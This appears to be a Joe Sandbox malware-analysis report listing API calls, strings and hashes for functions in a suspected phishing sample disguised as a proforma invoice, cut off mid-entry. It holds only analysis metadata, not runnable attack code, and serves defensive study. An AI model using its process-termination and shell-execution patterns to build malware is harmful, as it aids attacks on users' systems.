Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 6617e602e44aeee31bd09277525d3aff926be396c2926abe7a052b06bdfa4026
Instruction ID: f57bb350fa915c8d6b9f2a984555eae65bbcd05260944d52ec595473fd2ec07c
Opcode Fuzzy Hash: 6617e602e44aeee31bd09277525d3aff926be396c2926abe7a052b06bdfa4026
Instruction Fuzzy Hash: E10167B0902B5ABDE3008F6A8C85B52FFA8FF19354F00411BA15C4BA42C7F5A864CBE5

Function 0048EB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 0048EB30
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0048EB46
GetWindowThreadProcessId.USER32(?,?), ref: 0048EB55
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0048EB64
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0048EB6E
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0048EB75

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 156ad284cb28ab4e19e40cebf8dc751263e2b29015278f46a3c658e6b29ecb35
Instruction ID: 8e6081d488735b2ea07310ab2fde13fd277374e6c6b254be93ba137490650a52
Opcode Fuzzy Hash: 156ad284cb28ab4e19e40cebf8dc751263e2b29015278f46a3c658e6b29ecb35
Instruction Fuzzy Hash: F2F05472140158BBE7215B529C8DEEF3F7CEFCAB11F000279FA01E1191E7A05A01CAB9

Function 00477439 Relevance: 9.0, APIs: 6, Instructions: 37windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 00477452
SendMessageW.USER32(?,00001328,00000000,?), ref: 00477469
GetWindowDC.USER32(?), ref: 00477475
GetPixel.GDI32(00000000,?,?), ref: 00477484
ReleaseDC.USER32(?,00000000), ref: 00477496
GetSysColor.USER32(00000005), ref: 004774B0

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: 39228621121526a3ab81acea188482095573a8789add6600d4de4965989261d5
Instruction ID: 906b2f8b379643bfa72fb78c0dc8b9b1710a2fec830356cea15770b82c328355
Opcode Fuzzy Hash: 39228621121526a3ab81acea188482095573a8789add6600d4de4965989261d5
Instruction Fuzzy Hash: 84017831400215EFEB205F68DC88BEA7BB5FB04311F514275F919A21A0CB311E52AB59

Function 00481874 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 0048187F
UnloadUserProfile.USERENV(?,?), ref: 0048188B
CloseHandle.KERNEL32(?), ref: 00481894
CloseHandle.KERNEL32(?), ref: 0048189C
GetProcessHeap.KERNEL32(00000000,?), ref: 004818A5
HeapFree.KERNEL32(00000000), ref: 004818AC

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: edeba653bc60e1358a10d890fefc0b83ba74fd386459db793210f9fe5f32ec8c
Instruction ID: 9bd3d8db170f6692ac09d065103fc1eda3b33a0014ff02743653e0d92213aba4
Opcode Fuzzy Hash: edeba653bc60e1358a10d890fefc0b83ba74fd386459db793210f9fe5f32ec8c
Instruction Fuzzy Hash: 98E0E576004101BBDB016FA5ED8C90ABF79FF49B22B508331F22591070CB329420DF68

Function 0042BBE0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 232COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0042BEB3

Strings

D%O, xrefs: 0042BDED, 0042BD91, 0042BD1B
D%OD%O, xrefs: 0042BCA5
D%O, xrefs: 0042BE9A
D%O, xrefs: 0042BCA2

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Init_thread_footer
String ID: D%O$D%O$D%O$D%OD%O
API String ID: 1385522511-2668399839
Opcode ID: 8255199a9bc70091741540bd3acdde37be1fbf0312409d6f7d71d218bfea1693
Instruction ID: aa5a16b601e756f8891619615369944f3bf371238661e00f2df35c2f94952a3c
Opcode Fuzzy Hash: 8255199a9bc70091741540bd3acdde37be1fbf0312409d6f7d71d218bfea1693
Instruction Fuzzy Hash: EB917B75A0022ADFCB18CF59D0906AAB7F1FF58310BA4816ED941AB350D779AD81CBD8

Function 004A7B7E Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 00440242: EnterCriticalSection.KERNEL32(004F070C,004F1884,?,?,0043198B,004F2518,?,?,?,004212F9,00000000), ref: 0044024D
Part of subcall function 00440242: LeaveCriticalSection.KERNEL32(004F070C,?,0043198B,004F2518,?,?,?,004212F9,00000000), ref: 0044028A

Part of subcall function 00429CB3: _wcslen.LIBCMT ref: 00429CBD

Part of subcall function 004400A3: __onexit.LIBCMT ref: 004400A9

__Init_thread_footer.LIBCMT ref: 004A7BFB

Part of subcall function 004401F8: EnterCriticalSection.KERNEL32(004F070C,?,?,00438747,004F2514), ref: 00440202
Part of subcall function 004401F8: LeaveCriticalSection.KERNEL32(004F070C,?,00438747,004F2514), ref: 00440235

Strings

+TG, xrefs: 004A7E2E
G, xrefs: 004A7C7F
5, xrefs: 004A7C78
Variable must be of type 'Object'., xrefs: 004A7C3A

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit_wcslen
String ID: +TG$5$G$Variable must be of type 'Object'.
API String ID: 535116098-1348100212
Opcode ID: 7571ca810e72082fc0649ba7ea8320798279af228ed5c6cd668e589b7743cce1
Instruction ID: 9b15b032ea6dcef501bf0ed2737f1c01530fbf72e31ba169647124b915c358d8
Opcode Fuzzy Hash: 7571ca810e72082fc0649ba7ea8320798279af228ed5c6cd668e589b7743cce1
Instruction Fuzzy Hash: 1A91AE70A04208EFCB24EF55D9809BEB7B1BF5A304F10805EF8065B392DB79AE45CB59

Function 0048C5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00427620: _wcslen.LIBCMT ref: 00427625

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0048C6EE
_wcslen.LIBCMT ref: 0048C735
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0048C79C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 0048C7CA

Strings

0, xrefs: 0048C6AF

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: 9289e460dc519f426ff3b13b20f72fd67c6b5133fbff7555ac5a5fd4cc3ee801
Instruction ID: 8b6852a67f1c362976951e899450f4e10c590522281c6344ec9e4b99ea2f2c70
Opcode Fuzzy Hash: 9289e460dc519f426ff3b13b20f72fd67c6b5133fbff7555ac5a5fd4cc3ee801
Instruction Fuzzy Hash: 6951BE716143029BD714AF29C8C5A6F77E4AF49314F040E2FFA95E22A0DB78D904CB6A

Function 004AAD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 004AAEA3

Part of subcall function 00427620: _wcslen.LIBCMT ref: 00427625

GetProcessId.KERNEL32(00000000), ref: 004AAF38
CloseHandle.KERNEL32(00000000), ref: 004AAF67

Strings

@, xrefs: 004AAE72
<, xrefs: 004AAE6B

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: a77f0ea04f27dc24f271ccab4426a5a03db6bb650bd0c66e1cc1f7648f01f715
Instruction ID: c4d2b94c421189f674105ec3098de4eb9ab198444982f579ce7bdd2317a709c2
Opcode Fuzzy Hash: a77f0ea04f27dc24f271ccab4426a5a03db6bb650bd0c66e1cc1f7648f01f715
Instruction Fuzzy Hash: 59717870A00224DFCB14DF55D484A9EBBF0BF09318F44849EE816AB392C778ED55CB99

Function 0048719E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00487206
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 0048723C
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 0048724D
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 004872CF

Strings

DllGetClassObject, xrefs: 00487242

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 1b01b83a495eeaba9ca726d73377c9bcb32a229de59dbd7cdc0070a3500a8bcd
Instruction ID: 57cf4eb9bdefc398ee034841b6fc32ee46fc5a8afe2c142b363a94281b7554cb
Opcode Fuzzy Hash: 1b01b83a495eeaba9ca726d73377c9bcb32a229de59dbd7cdc0070a3500a8bcd
Instruction Fuzzy Hash: CF41BE71604204EFDB15EF54C894A9E7FA9EF44310F2488AEFD099F20AD7B8D941CBA4

Function 004B2F17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 004B2F8D
LoadLibraryW.KERNEL32(?), ref: 004B2F94
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 004B2FA9
DestroyWindow.USER32(?), ref: 004B2FB1

Strings

SysAnimate32, xrefs: 004B2F68

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: 3fae722c2992ac6257a6cd901510fff84e52ac5c65c3c36c2e08b89e49aacd83
Instruction ID: b85f201b49e0cecc8da7dc074b721eb8c1deccb5f9c410d38eef3a9f0effc3d2
Opcode Fuzzy Hash: 3fae722c2992ac6257a6cd901510fff84e52ac5c65c3c36c2e08b89e49aacd83
Instruction Fuzzy Hash: 4521AC71200205ABEF108F64DD84EFB37B9EB59368F10022AF950D22A0D7B9DC51A778

Function 00444D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00444D1E,004528E9,?,00444CBE,004528E9,004E88B8,0000000C,00444E15,004528E9,00000002), ref: 00444D8D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00444DA0
FreeLibrary.KERNEL32(00000000,?,?,?,00444D1E,004528E9,?,00444CBE,004528E9,004E88B8,0000000C,00444E15,004528E9,00000002,00000000), ref: 00444DC3

Strings

CorExitProcess, xrefs: 00444D98
mscoree.dll, xrefs: 00444D86

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 770c98dfd75bd365cbec7ae5476aa4869855e4ceb42fa576dc3f527ed88c497c
Instruction ID: fa30650c301d593e74ca500009bc75446bcdc9f291db641ad70cceae225fb82d
Opcode Fuzzy Hash: 770c98dfd75bd365cbec7ae5476aa4869855e4ceb42fa576dc3f527ed88c497c
Instruction Fuzzy Hash: 2BF06835940208FBEB555F94DC89B9EBFF5EF54751F000169F905A2250CB745D41CF98

Function 00424E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00424EDD,?,004F1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00424E9C
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00424EAE
FreeLibrary.KERNEL32(00000000,?,?,00424EDD,?,004F1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00424EC0

Strings

kernel32.dll, xrefs: 00424E94
Wow64DisableWow64FsRedirection, xrefs: 00424EA8

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: 203a069dfd6bb676703e8673033adcafabe9c71b2032b7f1e0c2e0ca87e9b39e
Instruction ID: a7ac8e758baee5ad8d0333e97795404a1bf8f33eb23ab2e2bb9d644efc0db623
Opcode Fuzzy Hash: 203a069dfd6bb676703e8673033adcafabe9c71b2032b7f1e0c2e0ca87e9b39e
Instruction Fuzzy Hash: 7BE08635B016329BA2321B29BC98B5F6558EFC1F637060226FC00E2304DBA8CD0245BC

Function 00424E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00463CDE,?,004F1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00424E62
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00424E74
FreeLibrary.KERNEL32(00000000,?,?,00463CDE,?,004F1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00424E87

Strings

kernel32.dll, xrefs: 00424E5B
Wow64RevertWow64FsRedirection, xrefs: 00424E6E

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: 2eb3e7558627c1f8a3a7b4cb612749afefd106928358c56ed9482860911f9451
Instruction ID: 8406569b2fbf4ea97cac0c29366a44cafc92623dd726abaa6f29c0303cd906d4
Opcode Fuzzy Hash: 2eb3e7558627c1f8a3a7b4cb612749afefd106928358c56ed9482860911f9451
Instruction Fuzzy Hash: 70D01D356016315755221B197C9CE8F6518EFC5B653560726F905B6224CF58CD02C5EC

Function 004AA387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 004AA427
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 004AA435
GetProcessIoCounters.KERNEL32(00000000,?), ref: 004AA468
CloseHandle.KERNEL32(?), ref: 004AA63D

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: ece2d36f94f23cd8ae9824498df5df6c3596238b1f30e3f178296c975d83e965
Instruction ID: 04af7b864724e39d1c884fd01f4fa0016050488717ed5ba0f72195e831d7fb06
Opcode Fuzzy Hash: ece2d36f94f23cd8ae9824498df5df6c3596238b1f30e3f178296c975d83e965
Instruction Fuzzy Hash: 42A1B171604300AFD720DF25D886B2AB7E1AF58718F54881EF99A9B3D2D774EC41CB86

Function 0045BB27 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,004C3700), ref: 0045BB91
WideCharToMultiByte.KERNEL32(00000000,00000000,004F121C,000000FF,00000000,0000003F,00000000,?,?), ref: 0045BC09
WideCharToMultiByte.KERNEL32(00000000,00000000,004F1270,000000FF,?,0000003F,00000000,?), ref: 0045BC36
_free.LIBCMT ref: 0045BB7F

Part of subcall function 004529C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0045D7D1,00000000,00000000,00000000,00000000,?,0045D7F8,00000000,00000007,00000000,?,0045DBF5,00000000), ref: 004529DE
Part of subcall function 004529C8: GetLastError.KERNEL32(00000000,?,0045D7D1,00000000,00000000,00000000,00000000,?,0045D7F8,00000000,00000007,00000000,?,0045DBF5,00000000,00000000), ref: 004529F0

_free.LIBCMT ref: 0045BD4B

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 1286116820-0
Opcode ID: 617f3981a01843c19272a0b7ae2321a3aed390b0475163e8d88f836e70543b20
Instruction ID: 990978235e6e9b60e2a895544510dca5783bd68b0d683bbaf57892af8a7d402a
Opcode Fuzzy Hash: 617f3981a01843c19272a0b7ae2321a3aed390b0475163e8d88f836e70543b20
Instruction Fuzzy Hash: F551D771900209DBC710DFA59C819BAB7B8EB41315B11426FED50E72A2EB745D49CB9C

Function 0048E3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0048DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,0048CF22,?), ref: 0048DDFD

Part of subcall function 0048DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,0048CF22,?), ref: 0048DE16

Part of subcall function 0048E199: GetFileAttributesW.KERNEL32(?,0048CF95), ref: 0048E19A

lstrcmpiW.KERNEL32(?,?), ref: 0048E473
MoveFileW.KERNEL32(?,?), ref: 0048E4AC
_wcslen.LIBCMT ref: 0048E5EB
_wcslen.LIBCMT ref: 0048E603
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 0048E650

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: 7c6edd8841ce9a6628444b0692ae6f76232aade675392447b182191b68dec793
Instruction ID: 60787f0a9c1cefa1120e4c70d23cbfae7a86328f6df3a0f9e7a00464ca67ce38
Opcode Fuzzy Hash: 7c6edd8841ce9a6628444b0692ae6f76232aade675392447b182191b68dec793
Instruction Fuzzy Hash: 6F514FB25083455BD724EBA1DC819DF73DCAF84344F40492FF68993191EF78A688876A

Function 004AB9C9 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00429CB3: _wcslen.LIBCMT ref: 00429CBD

